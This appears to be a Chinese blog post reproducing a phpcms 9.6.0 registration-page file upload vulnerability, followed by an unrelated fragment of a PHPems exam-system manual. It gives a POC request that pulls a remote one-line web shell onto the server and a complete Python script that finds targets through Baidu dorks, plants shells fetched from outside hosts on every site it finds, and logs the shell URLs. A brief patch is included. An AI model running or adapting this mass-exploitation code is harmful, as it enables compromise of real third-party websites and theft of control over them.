phpcms 漏洞

这个漏洞是某司的一位前辈发出来的,这里只是复现一下而已。

原文地址:https://www.t00ls.net/thread-39226-1-1.html

首先我们本地搭建一个phpcms9.6.0的环境

下载地址:http://www.mycodes.net/43/3365.htm

 

点击注册页面,进行抓包

在本地创建一个txt文本,写入一句话木马

POC

siteid=1&modelid=11&username=seven1&password=seven123456&email=seven@qq.com&info[content]=<img src=http://127.0.0.1/333.txt?.php#.jpg>&dosubmit=1&protocol=

修改抓包内容,添加POC

菜刀链接

 

 

---------------------------------------------------------------------------------------------------------------------------------

也可以用火狐插件执行POC

 

附上Akkuman 大牛写的批量脚本

说明:

依赖库的安装pip install requests

复制代码

 1 # -*- coding:utf-8 -*-
 2 
 3 '''
 4 ----------------------
 5 Author : Akkuman
 6 Blog   : hacktech.cn
 7 ----------------------
 8 '''
 9 
10 import requests
11 from bs4 import BeautifulSoup
12 # from urlparse import unquote //Python2
13 # from urlparse import urlparse //Python2
14 from urllib.parse import quote
15 from urllib.parse import urlparse
16 from random import Random
17 
18 chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'
19 
20 headers = {
21     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
22 }
23 
24 def parseBaidu(keyword, pagenum):
25     keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
26     pnum = 0
27     while pnum <= int(pagenum):
28         baseURL = keywordsBaseURL + str(pnum*10)
29         try:
30             request = requests.get(baseURL, headers=headers)
31             soup = BeautifulSoup(request.text, "html.parser")
32             for a in soup.select('div.c-container > h3 > a'):
33                 url = requests.get(a['href'], headers=headers, timeout=7).url
34                 yield url
35         except:
36             yield None
37         finally:
38             pnum += 1
39 
40 
41 def saveShell(shellUrl):
42     with open("webShell.txt","a+") as f:
43         f.write("[*]%s\n" % shellUrl)
44 
45 def main():
46     data = {
47         "siteid": "1",
48         "modelid": "1",
49         "username": "akkumandsad",
50         "password": "123456",
51         "email": "akkakkumafa@qq.com",
52         # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt
53         "info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>",
54         "dosubmit": "1",
55         "protocol": "",
56     }
57     for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):
58         try:
59             if crawlUrl:
60                 rand_name = chars[Random().randint(0, len(chars) - 1)]
61                 data["username"] = "akkuman_%s" % rand_name
62                 data["email"] = "akkuman_%s@qq.com" % rand_name
63                 host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname
64                 url = host + "/index.php?m=member&c=index&a=register&siteid=1"
65                 htmlContent = requests.post(url, data=data, timeout=10)
66                 successUrl = ""
67                 if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
68                     successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
69                     print("[*]Shell  : %s" % successUrl)
70                     saveShell(successUrl)
71                 if successUrl == "":
72                     print("[x]Failed : Failed to getshell.")
73             else:
74                 continue
75         except:
76             print("Request Error")
77 
78 
79 
80 if __name__ == '__main__':
81     main()

复制代码

 

------------------------------------------------------------------------------------------------------------------------------------------------------------------

修复方法:

打开phpcms\libs\classes\attachment.class.php

在168行代码下面添加如下代码

复制代码

1 if(!stripos($ext,$filename)){
2     $arryfilename = explode("|", $ext);
3     foreach($arryfilename as $n=>$fn){
4                 if($fn){
5                        $filename = $fn;
6                         continue;
7                 }
8      }
9 }

复制代码

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
最新在线考试系统源码,下载 PHPems在线考试系统使用手册 一、 phpems安装: 1、 下载最新版phpems安装程序: 2、 将下载的安装文件放到服务器根目录:(我这里以appsever为演示) 3、将解压后的安装文件放到“kaoshi”文件夹下(文件夹名称可以自定义) 4、导入数据库文件,我这里用phpmyadmin为例导入;本地环境用户访问:http://127.0.0.1/phpmyadmin/ 找到创建一个新的数据库 我创建了一个以“kaoshi”为名称的数据库 接下来导入数据库文件:(注意有些软件上面直接显示“导入”没有的就选择“import” 选择解压后文件夹中的pechina.sql文件 然后点击执行 出现如下界面表示我们数据导入成功: 5、在lib/config.inc.php文件中设置数据库参数,注意都要保存为utf8无bom形式,请使用notpad++或者dreamwaer编辑工具来修改!切记请勿使用记事本打开! 6、访问前台:http://127.0.0.1/kaoshi/(出现如下登陆界面表示我们安装成功) 7、访问后台地址:后台地址:域名/index.php?core-master 默认管理员: 用户名:peadmin 密码:peadmin 出现如下界面表示一切正常,phpems支持安装完成 二、科目与试题的添加流程 1. 增加科目 登陆后台 添加科目: 添加栏目名称: 添加栏目名称后点击提交后如下图: 2. 增加章节: 3. 增加知识点: 注意:知识点需要英文逗号隔开,可以批量增加 4. 增加试题(批量上传非火狐浏览器) 5. 增加试卷(如果出现主观题就用教师评卷,难度必须填,抽题是按照难度来抽,没有的题型填0) 注:描述可选填(主要是对题的说明);难易程度必填否则无法抽到试题;没有的题型填0。 6. 增加考场(api标识是以后做用户整合用,个人用户目前无须考虑) 7. 设置考试范围(考试范围就选增加的知识点) 前台演示: 8. 设置科目管理老师 增加教师账户: 点击提交: 增加管理科目: 注意:当新加了考试科目时,此处不会自动显示,需要进行如下操作: 点击齿轮图标,进入字段设置 寻找图中标红的字段,点击编辑 在可选值列表中增加新加的科目和ID,如新加的科目ID为4,名称为数学,则加入 提交后返回上文中修改管理科目页面进行设置即可。 点击提交完成前台登陆: 注意这里点击进入教师管理平台: 教师管理操作平台: 各项功能使用者可自行研究,都比较简单易懂! 三、系统文件说明: api UC整合 app(系统框架文件) bank-------------------财务模块 content---------------内容模块 core-------------------核心模块( document------------文件模块(上传和下载文件用的) exam-------------------考试模块(主模块) user---------------------用户模块 data(缓存模块) files(上传文件存放目录) attach--------------------附件 public---------------------公共文件 lib-------------系统核心文件 四、UC整合请参照: 首先,必须全部是UTF-8编码的程序,Discuz、Ucenter、PHPems。 Discuz论坛3.0-3.1版本,PHPems考试系统1.2-1.21版本。 1、DZ3.0和PE1.2整合 ①登录Ucenter,点击应用管理,添加新应用。如图: ②按照下图所示填写,未提及的选项保持默认。如图: ③提交后,到页面最底下会出来一个配置信息,复制下来。如图: ④、打开考试系统api/config.ini.php文件,将php后的内容删除,并将复制的内容粘贴在这。如图: ⑤、点击DZ的返回应用列表,会发现通信成功。如图: ⑥、点击数据列表,通知列表,点击未通知,手动通知下。如图: ⑦、到此,整合成功了,同步登录。 2、DZ3.0与PE1.21整合 和第一种方法一样,但是整合后不能同步登录的原因是 @火眼 手贱(他自己说的 )把一个常量改了。 修改方法:打开考试系统api/uc.php文件,找到206行(可以搜索SK),将SK修改为CS即可。 1. $key = SK; 2. 改为 3.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值